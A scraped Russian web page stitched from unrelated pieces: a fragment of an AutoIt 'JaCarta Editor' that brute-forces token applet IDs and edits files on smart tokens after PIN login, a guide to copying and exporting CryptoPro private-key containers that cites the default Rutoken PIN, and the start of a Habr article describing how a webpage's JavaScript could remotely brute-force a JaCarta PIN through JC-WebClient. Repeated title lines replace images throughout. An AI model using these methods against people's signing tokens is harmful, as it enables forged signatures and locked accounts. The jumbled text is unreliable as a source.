Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
;Начало приложения
Opt("GUIOnEventMode", 1)
Dim $BindId, $filelog, $Result, $DirIdRoot=False, $Edit, $msg, $Fileinfo, $treeview, $generalitem, $displayitem, $diritem, $Edit, $SrcSubId, $Output, $pinbutton, $hPinWin, $PinEdit, $pinokbutton, $pincancelbutton, $Pin, $Edit1, $Reader, $Applet, $AppletID, $text, $CreateDirWin
Global $Dir1, $Dir2
Dim $hParentWin, $hChildWin, $sItemText, $folderbutton, $filebutton, $deletebutton, $CreateFileWin, $FileEdit, $fileokbutton, $filecancelbutton, $publicbutton, $privatebutton, $sizefile
Dim $hFile, $hMain
Global Enum $idSave= 1000, $Save
Dim $Appname = 'JaCarta Editor'
;Функция получения applet ID брутфорсом
Func Applet()
GUICtrlSetData($Output, 'Попытка получить applet ID... '&@CRLF,1)
Local $Result, $AppletTemp= 0
For $Applet = 0 To 65535  Step 1
$Result = 0
$Result=JCSelectApplet($BindId,$Applet) ; 0x2001 PROJAVA для E-token, 0x1002 PRO, 0x1001 R2, 0x2202 GOST, 0x2205 DATASTORE, 0x2206 ГОСТ-2, 0x2201, 0x2204 (чёрные JaCarta)
If $Result = True   Then
$AppletTemp=$Applet
$AppletID=$Applet
ExitLoop
EndIf
Next
Local $Id=ETTokenLabelGet($BindId)
if $Id= False Then
For $Applet=$AppletTemp 1 To 65535  Step 1
$Result=0
$Result=JCSelectApplet($BindId,$Applet)
If $Result = True   Then
ExitLoop
EndIf
Next
EndIf
JCSelectApplet($BindId,$Applet)
GUICtrlSetData($Output, 'Select applet 0x'&hex($Applet,4)&@CRLF,1)
$AppletID=$Applet
EndFunc
;Просмотр директорий и файлов в цикле
Func PrintDir($Id,$Prefix)
Local $EnumId=ETDirEnumOpen($Id)
While 1
Local $dir=ETDirEnumNext($EnumId)
If @error Then ExitLoop
Local $DirId=ETDirOpen($dir,$Id)
Local   $Dirinfo
$Dirinfo=ETDirGetInfo($DirId)
Local $Dirtext='(dir)'&hex($dir,4)
$diritem = _GUICtrlTreeView_AddChild($treeview,$Prefix, $Dirtext)
PrintDir($DirId,$diritem)
ETDirClose($DirId)
WEnd
ETDirEnumClose($EnumId)
$EnumId=ETFilesEnumOpen($Id)
While 1
Local $file=ETFilesEnumNext($EnumId)
If @error Then ExitLoop
Local $FileId=ETFileOpen($file,$Id)
$Fileinfo=ETFileGetInfo($FileId)
Local $filetext='(file)'&hex($file,5)&' '&'p: '&$Fileinfo[1]&' s: '&$Fileinfo[2]&@CRLF
_GUICtrlTreeView_AddChild($treeview,$Prefix,$filetext)
WEnd
ETFilesEnumClose($EnumId)
EndFunc
;операции подключения к токену и получения от него информации
Func List()
GUICtrlSetData($Output, '')
Local $text
Local $EnumId=ETReadersEnumOpen()
GUICtrlSetData($Output, 'В системе установлены ридеры:'&@CRLF,1)
While 1
$Reader=ETReadersEnumNext($EnumId)
If @error Then ExitLoop
GUICtrlSetData($Output, $Reader[0]&@CRLF,1)
WEnd
ETReadersEnumClose($EnumId)
Local $EnumId=ETReadersEnumOpen()
$Reader=ETReadersEnumNext($EnumId)
$BindId=ETTokenBind($Reader[0])
$Result=JCTokenLock($BindId)
GUICtrlSetData($Output, 'Подключен ридер '&$Reader[0]&@CRLF,1)
;если не получается получить ID токена, значит надо подбирать AppletID
$Result=ETTokenIDGet($BindId)
if $Result= False Then
if $AppletID<>0 Then
JCSelectApplet($BindId,$AppletID)
Else
Applet()
EndIf
EndIf
$Result=ETTokenIDGet($BindId)
$text=$Reader[0]&' ID '&$Result
$generalitem = _GUICtrlTreeView_AddChild($treeview,0,$text)
$Result=ETTokenLabelGet($BindId)
GUICtrlSetData($Output, 'Label: '&$Result&@CRLF,1)
$DirIdRoot=ETRootDirOpen($BindId,0) ;0xF007 для банков 0x0001 для крипто про
$Result=JCTokenPinAttemptsGet($BindId)
;если был введён пин код начинаем авторизацию
If $Pin <> 0   Then
$Result=JCTokenLogin($BindId,$Pin)
If $Result=False   Then
$Result=JCTokenPinAttemptsGet($BindId)
MsgBox(0x10,$Appname,'Неверный PIN код'&@CRLF&'Количество попыток ввода PIN кода: '&$Result )
Else
GUICtrlSetData($Output, 'Login OK'&@CRLF,1)
EndIf
EndIf
$Result=JCTokenPinAttemptsGet($BindId)
GUICtrlSetData($Output, 'Количество попыток ввода PIN кода: '&$Result&@CRLF,1)
PrintDir($DirIdRoot,0)
ETTokenUnbind($BindId)
ETReadersEnumClose($EnumId)
EndFunc
;закрытие дочерних окон и программы
Func onClose()
GUISetState(@SW_HIDE, $hPinWin)
GUISetState(@SW_HIDE, $hChildWin)
GUISetState(@SW_HIDE, $CreateFileWin)
if @GUI_WinHandle=$hParentWin Then
Exit
EndIf
EndFunc
;вывод окна ввода пин кода
Func onPin()
GUISetState(@SW_SHOW, $hPinWin )
EndFunc
;подготовка к авторизации после ввода пин кода
Func onPinOK()
$Pin=GUICtrlRead($PinEdit)
GUISetState(@SW_HIDE, $hPinWin)
_GUICtrlTreeView_DeleteAll ($treeview)
List()
EndFunc
;отмена ввода пин кода
Func onPinCancel()
GUISetState(@SW_HIDE, $hPinWin)
EndFunc
;функция удаления
Func Delete()
If $Pin=0   Then
MsgBox(0x10,$Appname,'Для удаления файла сначала введите пин код' )
Else
Local $hItem = _GUICtrlTreeView_GetSelection($treeview)
Local $Del = _GUICtrlTreeView_GetText($treeview, $hItem)
if _GUICtrlTreeView_GetChildren($treeview, $hItem)=False Then
$Del=StringTrimLeft (  $Del, 6 )
Local $p=0
$p=StringInStr ($Del,"p:")
$Del=StringMid ( $Del, 1, $p-2 )
if MsgBox(4   32, $Appname,  'Удалить '& $Del &' ?') = 6 Then
Local $DirID=_GUICtrlTreeView_GetParentHandle($treeview, $hItem)
Local $Dir= _GUICtrlTreeView_GetText($treeview, $DirID)
$Dir=StringTrimLeft (  $Dir, 5 )
$BindId=ETTokenBind($Reader[0])
$Result=JCTokenLock($BindId)
if $AppletID<>0 Then
JCSelectApplet($BindId,$AppletID)
EndIf
If $Pin <> 0   Then
$Result=JCTokenLogin($BindId,$Pin)
If $Result=False   Then
$Result=JCTokenPinAttemptsGet($BindId)
MsgBox(0x10,$Appname,'Неверный PIN код'&@CRLF&'Количество попыток ввода PIN кода: '&$Result)
EndIf
EndIf
Local $HDir=GetDir(ETRootDirOpen($BindId,0), $Dir)
Local $DELFile =JCFileOpen(Dec ($Del), $HDir)
JCFileDelete($DELFile )
ETDirClose($HDir)
ETTokenUnbind($BindId)
_GUICtrlTreeView_DeleteAll ($treeview)
List()
EndIf
Else
MsgBox(0x10,$Appname,'Сначала удалите все файлы в папке после чего папка будет удалена автоматически' )
EndIf
EndIf
EndFunc
;функция вывода окна создания файла
Func onFileCreate()
If $Pin=0   Then
MsgBox(0x10,$Appname,'Для создания файла сначала введите пин код' )
Else
Local $hItem = _GUICtrlTreeView_GetSelection($treeview)
Local $FileText = 0, $Dir1=0, $Dir2=0
$FileText = _GUICtrlTreeView_GetText($treeview, $hItem)
;Проверка не выбрана ли корневая директория
if  StringLen($FileText) >20 Then
GUICtrlSetData($FileEdit, '')
GUICtrlSetData($FileEdit, '//',0)
Else
$Dir1=StringTrimLeft (  $FileText, 5 )
Local $ParentID=_GUICtrlTreeView_GetParentHandle($treeview, $hItem)
Local $ParentDir= _GUICtrlTreeView_GetText($treeview, $ParentID)
if StringInStr ($ParentDir,"Dir")=0 Then
$ParentDir=''
GUICtrlSetData($FileEdit, '')
GUICtrlSetData($FileEdit, '//'&$Dir1&'/',0)
Else
$Dir2=StringTrimLeft (  $ParentDir, 5 )
$Dir2='/'&$Dir2
GUICtrlSetData($FileEdit, '')
GUICtrlSetData($FileEdit, '/'&$Dir2&'/'&$Dir1&'/',0)
EndIf
EndIf
GUISetState(@SW_SHOW, $CreateFileWin)
EndIf
EndFunc
;отмена создания файла
Func onFileCancel()
GUISetState(@SW_HIDE, $CreateFileWin)
EndFunc
;функция создания файла
Func onFileOK()
Local $filename=GUICtrlRead($FileEdit)
Local $isPrivate=_GUICtrlButton_GetCheck($privatebutton)
Local $fileSize=GUICtrlRead($sizefile)
$BindId=ETTokenBind($Reader[0])
$Result=JCTokenLock($BindId)
if $AppletID<>0 Then
JCSelectApplet($BindId,$AppletID)
EndIf
If $Pin <> 0   Then
$Result=JCTokenLogin($BindId,$Pin)
If $Result=False   Then
$Result=JCTokenPinAttemptsGet($BindId)
MsgBox(0x10,$Appname,'Неверный PIN код'&@CRLF&'Количество попыток ввода PIN кода: '&$Result )
EndIf
EndIf
Local $rootdir=ETRootDirOpen($BindId,0)
Local $text=StringTrimLeft (  $filename, 2 )
Local $text1=StringLeft($text, 4)
$dir1=JCDirOpen(Dec ($text1), $rootdir)
if $dir1=false Then
$dir1= ETDirCreate(Dec ($text1), $rootdir)
EndIf
if StringLen($text) >12 Then
$text=StringTrimLeft (  $text, 5 )
$text1=StringLeft($text, 4)
$dir2=JCDirOpen(Dec ($text1), $dir1)
if $dir2=false Then
$dir2= ETDirCreate(Dec ($text1), $dir1)
EndIf
$text=StringTrimLeft (  $text, 5 )
Local $DstFile=JCFileCreate(Dec ($text),$Dir2,$fileSize,$isPrivate)
JCFileClose($DstFile)
Else
$text=StringTrimLeft (  $text, 5 )
Local $DstFile=JCFileCreate(Dec ($text),$Dir1,$fileSize,$isPrivate)
JCFileClose($DstFile)
EndIf
ETTokenUnbind($BindId)
GUISetState(@SW_HIDE, $CreateFileWin)
GUISetState(@SW_SHOW, $hParentWin)
_GUICtrlTreeView_DeleteAll ($treeview)
List()
EndFunc
;сохранение изменённого файла на токене
Func SaveFile()
If $Pin=0   Then
MsgBox(0x10,$Appname,'Для сохранения файла сначала введите пин код' )
Else
Local $filebody=GUICtrlRead($Edit1)
Local $hItem = _GUICtrlTreeView_GetSelection($treeview)
Local $FileEd = _GUICtrlTreeView_GetText($treeview, $hItem)
$FileEd=StringTrimLeft (  $FileEd, 6 )
Local $p=0
$p=StringInStr ($FileEd,"p:")
$FileEd=StringMid ( $FileEd, 1, $p-2 )
Local $DirID=_GUICtrlTreeView_GetParentHandle($treeview, $hItem)
Local $Dir= _GUICtrlTreeView_GetText($treeview, $DirID)
$Dir=StringTrimLeft (  $Dir, 5 )
$BindId=ETTokenBind($Reader[0])
$Result=JCTokenLock($BindId)
if $AppletID<>0 Then
JCSelectApplet($BindId,$AppletID)
EndIf
If $Pin <> 0   Then
$Result=JCTokenLogin($BindId,$Pin)
If $Result=False   Then
$Result=JCTokenPinAttemptsGet($BindId)
MsgBox(0x10,$Appname,'Неверный PIN код'&@CRLF&'Количество попыток ввода PIN кода: '&$Result)
EndIf
EndIf
Local $HDir=GetDir(ETRootDirOpen($BindId,0), $Dir)
Local $File=JCFileOpen(Dec ($FileEd),$HDir)
Local $Data =Binary('0x' & $filebody)
JCFileWrite($File, $Data)
JCFileClose($File)
ETDirClose($HDir)
ETTokenUnbind($BindId)
GUISetState(@SW_HIDE, $hChildWin)
_GUICtrlTreeView_DeleteAll ($treeview)
List()
EndIf
EndFunc
;сохранение открытого на токене файла на компьютер
Func SaveFileAs()
Local  $varFile = 0
$varFile = FileSaveDialog( "Сохранить файл", @MyDocumentsDir & "", "Бинарные файлы (*.bin)", 16,'',$hParentWin)
If StringLen($varFile) > 3 Then
Local  $filedest
$filedest = FileOpen($varFile, 17)
; Check if file open
If $filedest = -1 Then
MsgBox(0, "Error", "Unable to open file.")
Exit
EndIf
FileWrite($filedest, $text)
FileClose($filedest)
EndIf
EndFunc
;Обработка команд меню окна просмотра и редактирования файла
Func WM_COMMAND($hWnd, $iMsg, $wParam, $lParam)
#forceref $hWnd, $iMsg, $lParam
Switch $wParam
Case $Save
SaveFile()
Case $idSave
SaveFileAs()
EndSwitch
EndFunc   ;==>WM_COMMAND
;инициализация графического интерфейса
Func GUIInit()
$hParentWin=	GUICreate($Appname, 560, 400)
GUISetOnEvent($GUI_EVENT_CLOSE,'onClose')
;Создание главного окна
$treeview = GUICtrlCreateTreeView(6, 6, 400, 300, BitOR($TVS_HASBUTTONS, $TVS_HASLINES, $TVS_LINESATROOT, $TVS_DISABLEDRAGDROP, $TVS_SHOWSELALWAYS), $WS_EX_CLIENTEDGE)
$Output = GUICtrlCreateEdit("" , 6, 320, 400, 70, $ES_AUTOVSCROLL   $WS_VSCROLL   $ES_NOHIDESEL   $ES_WANTRETURN)
$pinbutton = GUICtrlCreateButton("&Ввести PIN код", 430, 20, 100, 50)
$filebutton = GUICtrlCreateButton("&Создать", 430, 80, 100, 50)
$deletebutton = GUICtrlCreateButton("&Удалить", 430, 140, 100, 50)
;Создание окна ввода пин кода
$hPinWin = GUICreate('Введите PIN код', 200, 200, -1, -1, $WS_SYSMENU, -1, $hParentWin)
$PinEdit = GUICtrlCreateInput ("" , 50, 40, 100, 25, $ES_PASSWORD   $ES_NOHIDESEL   $ES_WANTRETURN)
$pinokbutton = GUICtrlCreateButton("&OK", 20, 100, 60, 40)
$pincancelbutton = GUICtrlCreateButton("&Отмена", 110, 100, 60, 40)
;Окно создания файла
$CreateFileWin = GUICreate('Создание папок и файла', 340, 350, -1, -1, $WS_SYSMENU, -1, $hParentWin)
$FileEdit = GUICtrlCreateInput ("" , 50, 70, 230, 25)
$fileokbutton= GUICtrlCreateButton("&OK", 70, 240, 60, 40)
$filecancelbutton = GUICtrlCreateButton("&Отмена", 210, 240, 60, 40)
$publicbutton= _GUICtrlButton_Create($CreateFileWin, "Public", 100, 120, 50, 30,  $BS_AUTORADIOBUTTON, 0)
$privatebutton=_GUICtrlButton_Create($CreateFileWin, "Private", 160, 120, 50, 30,  $BS_AUTORADIOBUTTON, 0)
_GUICtrlButton_SetCheck($publicbutton,  $BST_CHECKED)
Local $label=GUICtrlCreateLabel('Введите имя папок и файла в hex формате 1001 ', 70, 20, 170, 40, $SS_CENTER)
$sizefile = GUICtrlCreateInput ("10" , 220, 175, 50, 20)
Local $label1=GUICtrlCreateLabel('Введите размер файла в байтах', 20, 180, 200, 60, $SS_CENTER)
;Окно редактирования файла
$hChildWin = GUICreate($sItemText, 300, 230, -1, -1, $WS_SYSMENU, -1, $hParentWin)
$Edit1 = GUICtrlCreateEdit("", 10, 10, 240, 160, $ES_AUTOVSCROLL   $WS_VSCROLL   $ES_NOHIDESEL   $ES_WANTRETURN)
; Создаёт меню "Файл" в окне редактирования файла
$hFile = _GUICtrlMenu_CreateMenu ()
_GUICtrlMenu_InsertMenuItem ($hFile, 0, 'Сохранить как...', $idSave)
_GUICtrlMenu_InsertMenuItem ($hFile, 1, 'Сохранить изменения', $Save)
$hMain = _GUICtrlMenu_CreateMenu ()
_GUICtrlMenu_InsertMenuItem ($hMain, 0, 'Файл', 0, $hFile)
_GUICtrlMenu_SetMenu ($hChildWin, $hMain)
;Определение событий
GUICtrlSetOnEvent($filebutton,'onFileCreate')
GUICtrlSetOnEvent($deletebutton,'Delete')
GUICtrlSetOnEvent($pinbutton,'onPin')
GUICtrlSetOnEvent($pinokbutton,'onPinOK')
GUICtrlSetOnEvent($pincancelbutton,'onPinCancel')
GUICtrlSetOnEvent($fileokbutton,'onFileOK')
GUICtrlSetOnEvent($filecancelbutton,'onFileCancel')
GUISetOnEvent($GUI_EVENT_CLOSE,'onClose')
GUISetState(@SW_SHOW, $hParentWin)
GUIRegisterMsg(0x0111, "WM_COMMAND")
EndFunc
;запуск основных функций приложения
GUIInit()
List()
;функция обработки двойного щелчка мышью на дереве файлов и директорий
GUIRegisterMsg($WM_NOTIFY, "MY_WM_NOTIFY")
Global $iDoubleClick = 0
Func MY_WM_NOTIFY($hWnd, $Msg, $wParam, $lParam)
Local $tagNMHDR, $vEvent
Switch $wParam
Case $treeview
$tagNMHDR = DllStructCreate("int;int;int", $lParam)
If @error Then Return
$vEvent = DllStructGetData($tagNMHDR, 3)
If $vEvent = $NM_DBLCLK Then
$iDoubleClick = 1
EndIf
EndSwitch
$tagNMHDR = 0
EndFunc  ;==>MY_WM_NOTIFY
;функция поиска директории, в которой кликнули по файлу
Func GetDir( $Id,$Dir_Id)
Local $DirId=0
Local $DirResult=0
Local $EnumId=ETDirEnumOpen($Id)
While 1
Local $dir=ETDirEnumNext($EnumId)
If @error Then ExitLoop
$DirId=ETDirOpen($dir,$Id)
if hex($dir,4)=$Dir_Id Then
$DirResult=$DirId
ExitLoop
EndIf
$DirResult=GetDir( $DirId, $Dir_Id)
ETDirClose($DirId)
WEnd
ETDirEnumClose($EnumId)
Return  $DirResult
EndFunc
;функция открытия файла на токене и вывода его содержимого в дочернее окно
Func ListFile($file, $Dir_Id)
$BindId=ETTokenBind($Reader[0])
$Result=JCTokenLock($BindId)
if $AppletID<>0 Then
JCSelectApplet($BindId,$AppletID)
EndIf
If $Pin <> 0   Then
$Result=JCTokenLogin($BindId,$Pin)
If $Result=False   Then
$Result=JCTokenPinAttemptsGet($BindId)
MsgBox(0x10,$Appname,'Неверный PIN код'&@CRLF&'Количество попыток ввода PIN кода: '&$Result )
EndIf
EndIf
if StringLen($Dir_Id)>10 Then
$HDir=ETRootDirOpen($BindId,0)
Else
Local $HDir=GetDir(ETRootDirOpen($BindId,0), $Dir_Id)
EndIf
$SrcSubId=JCFileOpen(Dec ($file), $HDir)
$text=JCFileRead($SrcSubId)
GUICtrlSetData($Edit1, hex($text))
JCFileClose($SrcSubId)
ETDirClose($HDir)
ETTokenUnbind($BindId)
EndFunc
;обработка двойного щелчка мышью и получения имени файла на токене
While 1
if $iDoubleClick Then
Local $hItem = _GUICtrlTreeView_GetSelection($treeview)
if _GUICtrlTreeView_GetChildren($treeview, $hItem)=False Then
Local $hItem = _GUICtrlTreeView_GetSelection($treeview)
$sItemText = _GUICtrlTreeView_GetText($treeview, $hItem)
if StringInStr ($sItemText,"Dir")=0 Then
Local $text1=0
$text1=StringTrimLeft (  $sItemText, 6 )
Local $p=0
$p=StringInStr ($text1,"p:")
$sItemText=0
$sItemText=StringMid ( $text1, 1, $p-2 )
GUISetState(@SW_SHOW, $hChildWin)
GUISetOnEvent($GUI_EVENT_CLOSE,'onClose')
Local $DirID=_GUICtrlTreeView_GetParentHandle($treeview, $hItem)
Local $Dir= _GUICtrlTreeView_GetText($treeview, $DirID)
$text1=StringTrimLeft (  $Dir, 5 )
$Dir=$text1
ListFile($sItemText, $Dir)
EndIf
EndIf
$iDoubleClick = 0
EndIf
WEnd

Читайте также:  “Why is it possible for everyone, but I can’t?” Or reverse the API and get data from eToken / Sudo Null IT News

Источники информации

eToken Developer’s Guide Version 3.50 (декабрь 2003)

Как скопировать сертификат с рутокена на компьютер, из криптопро на флешку

Подробная инструкция о том, как скопировать сертификат на другой носитель: копирование средствами Windows, копирование на профиле диагностики, массовое копирование, копирование с помощью КриптоПро CSP, экспорт PFX-файла и его установка, а также копирование контейнера из реестра другого пользователя.

Если для работы используется дискета или flash-накопитель, скопировать контейнер с сертификатом можно средствами Windows (этот способ подходит для версий КриптоПро CSP не ниже 3.0). Папку с закрытым ключом (и, если есть, файл сертификата — открытый ключ) поместите в корень дискеты / flash-накопителя (если поместить не в корень, то работа с сертификатом будет невозможна). Название папки при копировании рекомендуется не изменять. 

В папке с закрытым ключом должно быть 6 файлов с расширением.key. Как правило, в закрытом ключе присутствует открытый ключ (файл header.key в этом случае будет весить больше 1 Кб). В этом случае копировать открытый ключ необязательно. Пример закрытого ключа — папки с шестью файлами и открытого ключа — файла с расширением.cer.

Если у вас MacOS, смотрите инструкцию «Как скопировать контейнер с сертификатом на MacOS».

1. Зайдите на профиль Диагностики «Копирования» по ссылке.

2. Вставьте носитель, на который необходимо скопировать сертификат.

3. На нужном сертификате нажмите на кнопку «Скопировать».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Если на контейнер был задан пароль — появится сообщение  «Введите пароль для устройства с которого будет скопирован сертификат».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Введите пароль и нажмите на кнопку «Далее».

4. Выберите носитель, куда необходимо скопировать сертификат и нажмите «Далее».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

5. Задайте имя новому контейнеру и нажмите на кнопку «Далее».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

6. Должно появиться сообщение об успешном копировании сертификата. 

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

  1. Скачайте и запустите утилиту. Дождитесь загрузки всего списка контейнеров/сертификатов и отметьте нужные галочками.
  2. Выберите меню «Массовые действия» и нажмите на кнопку «Копирование контейнеров».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

3. Выберите носитель для хранения копии контейнера и нажмите «ОК». При копировании в реестр можно поставить галочку на пункте «Копировать к ключевой контейнер компьютера», тогда после копирования контейнер будет доступен всем пользователям данного компьютера.

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

4. После копирования нажмите внизу слева кнопку «Обновить».
Если хотите работать со скопированными контейнерами — необходимо установить сертификаты.

Читайте также:  Установка сертификата и закрытого ключа

Выберите «Пуск» > «Панель управления» > «КриптоПро CSP». Перейдите на вкладку «Сервис» и кликните по кнопке «Скопировать».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

В окне «Копирование контейнера закрытого ключа» нажмите на кнопку «Обзор».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Выберите контейнер, который необходимо скопировать, и кликните по кнопке «Ок», затем «Далее». Если вы копируете с рутокена, то появится окно ввода, в котором следует указать pin-код. Если вы не меняли pin-код на носителе, стандартный pin-код — 12345678.

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Придумайте и укажите вручную имя для нового контейнера. В названии контейнера допускается русская раскладка и пробелы. Затем кликните «Готово».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

В окне «Вставьте чистый ключевой носитель» выберите носитель, на который будет помещен новый контейнер.

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

На новый контейнер будет предложено установить пароль. Рекомендуем установить такой пароль, чтобы вам было легко его запомнить, но посторонние не могли его угадать или подобрать. Если вы не хотите устанавливать пароль, можно оставить поле пустым и нажать «ОК».

Не храните пароль/pin-код в местах, к которым имеют доступ посторонние. В случае утери пароля/pin-кода использование контейнера станет невозможным.

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Если вы копируете контейнер на смарт-карту ruToken, сообщение будет звучать иначе. В окне ввода укажите pin-код. Если вы не меняли pin-код на носителе, стандартный pin-код — 12345678.

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

После копирования система вернется на вкладку «Сервис» КриптоПро CSP. Копирование завершено. Если вы планируете использовать для работы в Экстерне новый ключевой контейнер,  установите его через Крипто Про.

При копировании может возникнуть «Ошибка копирования сертификата», если у вас нет лицензии на КриптоПроCSP или контейнер получил признак «неэкспортируемый». Справиться с этим поможет инструкция.

Экспорт сертификата с закрытым ключом

1. Откройте оснастку работы с сертификатами:

— Пуск → Все программы → КриптоПро → Сертификаты
либо
— ​Internet Explorer → Сервис → Свойства обозревателя → вкладка Содержание → Сертификаты.

2. Откройте сертификат, который нужно скопировать. На вкладке «Состав» нажмите «Копировать в файл».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

3. В «Мастере экспорта сертификтов» нажмите «Далее» и выберите пункт «Да, экспортировать закрытый ключ». Нажмите «Далее».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

4. На следующем этапе поставьте галочки у пунктов «Включить по возможности все сертификаты в путь сертификации» и «Экспортировать все расширенные свойства», остальные галочки необходимо убрать. Нажмите «Далее».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

5. Обязательно задайте пароль для экспортируемого файла. Данный пароль не рекомендуется сообщать по электронной почте. Нажмите «Далее».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

6. Укажите имя файла, выберите путь сохранения и нажмите «Далее», затем нажмите «Готово».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

7. Экспортируйте открытый ключ сертификата (см. Экспорт открытого ключа).

8. Заархивируйте полученные файлы форматов .pfx и .cer.

Установка сертификата с закрытым ключом

1. Откройте .pfx файл. Сразу запустится «Мастер импорта сертификатов».

2. Укажите хранилище «Текущий пользователь» и нажмите «Далее», затем снова «Далее».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

3. Введите пароль, который указывали при экспорте и поставьте галочку на пункте «Пометить этот ключ как экспортируемый…», иначе наче контейнер нельзя будет скопировать в дальнейшем. Нажмите «Далее».

Читайте также:  Эцп рутокен или етокен

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

4. Выберите пункт «Поместить все сертификаты в следующее хранилище», нажмите на кнопку «Обзор», выберите «Личное» и нажмите на кнопку «ОК». Нажмите «Далее», а затем «Готово».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

5. В окне КриптоПро выберите носитель, на который хотите сохранить контейнер. При необходимости задайте пароль.

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

6. Для корректной работы сертификата со встроенной лицензией переустановите сертификат в контейнер (см. Как установить личный сертификат в КриптоПро).

1. Необходимо найти ветку реестра с нужным контейнером. Ветки реестра, в которых может быть контейнер закрытого ключа:

2. После того, как нашли нужную ветку, нажмите правой кнопкой мыши на ветку с контейнером и выберите «Экспортировать».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

3. Введите имя файла и нажмите на кнопку «Сохранить».

4. Скопируйте файл на тот компьютер, где будете работать с электронной подписью обычными средствами Windows.

5. Пройдите диагностику на сайте https://help.kontur.ru .

6. Как диагностика закончится, нажмите на ссылку «Показать результаты».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

7. В списке результатов выберите «Информация о Windows». Скопируйте оттуда SID текущего пользователя.

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

8. Откройте экспортированный файл реестра с помощью «Блокнота».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

9. Замените SID пользователя на скопированный ранее.

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Если ветка реестра экспортируется из 32-битной ОС в 64-битную ОС, добавьте в путь ветки реестра параметр Wow6432Node как на скриншоте:

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

10. Сохраните изменения и закройте файл.

11. Снова нажмите на файл правой кнопкой мыши и выберите «Слияние». В появившемся окне нажмите «Да».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Должно появиться сообщение о том, что данные успешно внесены в реестр. Нажмите «ОК».

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр 

Если появляется сообщение «Ошибка при доступе к реестру», необходимо еще раз проверить все пути в файле на корректность. Также проверьте, чтобы в пути не было лишних пробелов, знаков.

12. После того, как данные будут внесены в реестр, необходимо вручную установить сертификат (см. Как установить личный сертификат). 

Тестируем jacarta webclient или храните токены в сейфе

«Когда на мгновение чёрный покров отнесло в сторону, Маргарита на скаку обернулась и увидела, что сзади нет не только разноцветных башен с разворачиващимся над ними аэропланом, но нет уже давно и самого города, который ушёл в землю и оставил по себе только туман.»

М.А. Булгаков
«Мастер и Маргарита»

Привет, Хабр! Наверное почти в каждой российской организации есть эти изделия в весёлой разноцветной раскраске. Речь идёт об изделиях JaCarta и софте к ним. Привалило такое счастье и мне, и я решил немного раздвинуть чёрный покров скрывающий их сущность, сиречь API. Некоторые банки, особенно выдающие своим клиентам токены JaCarta ГОСТ-2, для работы требуют установки приложения JC-WebClient от «Аладдин Р.Д.».

Хотя на официальном сайте разработчика свежего дистрибутива нет (в разделе Демо можно скачать более старую версию, но она использует устаревший API), дистрибутив можно найти с помощью гугла по строке «JC-WebClient-4.0.0.1186» на сайтах ДБО.

После установки приложения на компе пользователя открывается порт 24738 на котором работает этот клиент.

https://localhost:24738/JCWebClient.js

На сайте разработчика открыто и подробно описан API этого приложения (как и функции работы с файловой системой всей линейки токенов этого производителя через jcFS.dll, входящей в установочный пакет «Единый клиент JaCarta») и суть в том, что с помощью ряда функций можно или подписать ЭЦП находящейся на токене что угодно, подобрав пин код, или заблокировать токен неудачными попытками его ввода. И всё это дистанционно, через интернет.

Не секрет, что пользователи часто оставляют у токена пин код по умолчанию, или тот с которым его получили (обычно боятся, что при смене пин кода всё перестанет работать).

Чаще всего используются пин коды вида 123456, а токен в течении рабочего дня, а то и круглосуточно, воткнут в порт компа или usb хаба.

Благодаря JC-WebClient, если такому пользователю подсунуть вебстраницу или письмо с нехитрым JavaScript’ом, то появляется возможность хотя и не получить ключи токена (это в ряде случаев возможно только путём непосредственного доступа к файловой системе токена, пример здесь уже давался), но попытаться подобрать пин код и подписать какие-либо данные и куда-то их отправить.

В случае 10 неудачных попыток перебора токен блокируется, и как часто это бывает, если не установлен пин код администратора для разблокировки, то поможет только инициализация. А это не в срок уплаченные налоги (и как результат пени и даже блокировка расчётного счёта организации налоговой), неустойки от поставщиков, в общем хорошего мало.

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Проблему с перебором пин кода можно было бы решить или сделав возможность его ввода только через интерфейсное окно JC-WebClient, или как полумера, в случае например 3-х неудачных попыток его ввода, блокировать дальнейшую авторизацию, выведя сообщение пользователю, и ожидать пока он не подтвердит свои действия.

Я написал небольшой тестовый скрипт, который показывает эту уязвимость. Скрипт работает на всех современных и относительно современных браузерах, даже IE 🙂

Естественно он ничего никуда не отправляет, а просто выводит на экран результаты работы последовательности функций.

В скрипте реализован полный перебор 10 попыток ввода пин кода «на убой» токена, поэтому запускать скрипт можно только с тестовым токеном!

Также следует помнить, что применение этого скрипта иначе кроме как на собственном тестовом токене является нарушением законодательства.

Результат тестирования:

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр
Скрипт генерации ключевой пары и сертификата средствами JC-WebClient для тестирования.
